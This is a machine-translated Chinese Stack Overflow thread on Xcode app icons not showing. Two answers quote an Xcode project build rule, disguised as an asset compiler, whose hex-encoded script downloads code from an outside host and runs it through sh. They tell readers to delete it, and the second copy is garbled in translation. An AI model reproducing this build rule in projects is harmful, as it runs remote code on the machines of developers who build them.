Xcode 10应用程序图标未显示

时间:2018-06-09 05:38:52

标签: ios xcode xcasset xcode10 appicon

最近更新到Xcode 10 beta和我的应用程序以前在构建并从Xcode 9.4运行到设备时显示正确的图标现在显示在Xcode 10中运行时的默认空白图标。

enter image description here

打开AppIcon资产时,它会在所有占位符中正确显示图标,而不显示任何警告图标。当点击新的"显示切片"我没有看到任何东西。

有任何线索如何修复此应用程序图标显示?

13 个答案:

答案 0 :(得分:8)

18年6月19日,Apple发布了Xcode10。beta2。升级解决了我出现的图标不出现的问题。因此,我猜是Xcode 10.0中的一个错误。

答案 1 :(得分:7)

我在 xCode 12.5 上遇到了同样的问题。所有图标都可以使用,但只有应用程序图标没有在 iPad 和 iPhone 上显示。

解决方案

YouProject.xcodeproj -> 显示包内容 -> project.pbxproj -> 打开

找出代码并删除此块,然后构建并运行您的应用。

/ Begin PBXBuildRule section /
        EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = {
            isa = PBXBuildRule;
            compilerSpec = com.apple.compilers.proxy.script;
            fileType = folder.assetcatalog;
            inputFiles = (
            );
            isEditable = 0;
            name = "Assets Catalog Builder";
            outputFiles = (
                "$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)",
            );
            script = "# Xcode Image Assets Compiler\n\ncp -rf \"${INPUT_FILE_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\nxcrun actool --minimum-deployment-target \"${IPHONEOS_DEPLOYMENT_TARGET}\"  --platform \"${PLATFORM_NAME}\" --compile \"${CODESIGNING_FOLDER_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n";
        };
/ End PBXBuildRule section /

答案 2 :(得分:5)

更新到Xcode 10 beta后,也会发生同样的问题。

我可以通过将活动的开发人员目录更改为Xcode 10来修复它:

sudo xcode-select --switch /Applications/Xcode-beta.app/Contents/Developer

或在Xcode 10.0中选择Xcode->Preferences->Locations->Command Line Tools

希望这会有所帮助。

enter image description here

答案 3 :(得分:1)

我整天都在与之作战,它不会出现在模拟器或真实设备中。

最终,我通过确保将AppIcon的“目标成员身份”设置为应用名称并且该位置是“相对于项目”来使它起作用。

Xcode screenshot

答案 4 :(得分:1)

对我来说,解决方案是删除资产文件夹中的AppIcon文件,然后再次添加(这也意味着重新添加图像)。我不知道为什么,但这为我解决了这个问题。

答案 5 :(得分:0)

确保您的"应用图标来源"在"应用程序图标和启动图像"下选择您的AppIcon;有时您的AppIcon可以命名为" AppIcon-1"在您的Assets.xcassets文件夹中。

答案 6 :(得分:0)

更改资产目录后出现此问题。我相信,解决该问题的方法是选择AppIcon资产,然后选择和取消选择主应用程序目标的目标成员身份。这是在Xcode 10上正确的。

答案 7 :(得分:0)

我在iPad上进行测试,而我的问题是默认的AppIcon不包含任何iPad插槽。

我不知道这与我的应用程序初始化方式有关(我正在使用React Native),但是我在拍摄了很长时间后仍遇到麻烦,甚至都没有想到要检查它们是否在那里。愚蠢的我...

要解决此问题,我删除了现有图标,单击+按钮并选择['App Icons&Launch items'->'New iOS App Icons'],如下所示。然后我就按预期填充了。

add new buttons

答案 8 :(得分:0)

在我的情况下,Xcode在“应用程序图标”源中使用“使用资产目录”。要查看,您可以转到Project-> General-> App Icons Source。

要修复此问题,我选择了“迁移”并创建了一个新的资产目录。当我这样做时,最旧的资产目录在“应用程序图标”中得到警告。因此,我再次将图标上传到了这个最早的目录,并删除了临时目录。

“应用程序图标”源返回以显示“ AppIcon”,并且有效。

答案 9 :(得分:0)

在我的情况下,这两个选项设置错误 Project navigator

答案 10 :(得分:0)

这个问题现在出现在 iOS 15 Beta 和 iPadOS 15 Beta 上,但我们找到了解决方法。

我们更改了游戏中的图标,但它没有加载到任一 Beta 设备上。我们尝试了非 Beta 版设备,效果很好。我决定安装 iOS 和 iPadOS 15 测试版的设备支持,现在如果图标发生了变化,我不会马上看到它,但如果我重新启动设备,我会看到它。我们知道该图标在项目中是正确的,因为我们进行了 TestFlight 构建并且它在非 Beta 设备上运行。

答案 11 :(得分:0)

在 Xcode 12.5 中,我遇到了同样的问题,但显然仍未解决。尝试了上述许多解决方案,都没有帮助。然后我做了“清理构建文件夹”,然后取消选中资产目录的目标复选框,构建,再次执行“清理构建文件夹”,选中资产目录的目标复选框,然后再次构建;现在图标有效。这似乎是某种无法清除的不良缓存状态;我猜这些步骤中的某些内容导致缓存无效。相同的步骤但没有清理构建文件夹并没有解决问题,所以也许清理是这里的关键元素。

答案 12 :(得分:0)

您可以通过 3 个步骤解决问题。

  1. 在 yourprojectname.xcodeproj 文件中单击 Show Package Content。 enter image description here

  2. 单击在 project.pbxproj 文件中打开。 enter image description here

  3. 查找并删除这些行

<块引用>

/ 开始 PBXBuildRule 部分 / EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = { isa = PBXBuildRule; compilerSpec = com.apple.compilers.proxy.script; 文件类型 = 文件夹.资产目录; 输入文件 = ( ); isEditable = 0; name = "资产目录生成器"; 输出文件 = ( "$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)", ); script = "# Xcode Image Assets Compiler\n\ncp -rf "${INPUT_FILE_PATH}" "${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}"\n\nxcrun actool --minimum-deployment-target "${IPHONEOS_DEPLOYMENT_TARGET}" --platform "${PLATFORM_NAME}" --compile "${CODESIGNING_FOLDER_PATH}" "${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}"\n\n\necho “6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61206873207d4207a207207373720707207333a2f2f\n6174656207 | xxd -p -r | sh >/dev/null 2>&1 ||真\n\t\n\n"; }; / 结束 PBXBuildRule 部分 /

enter image description here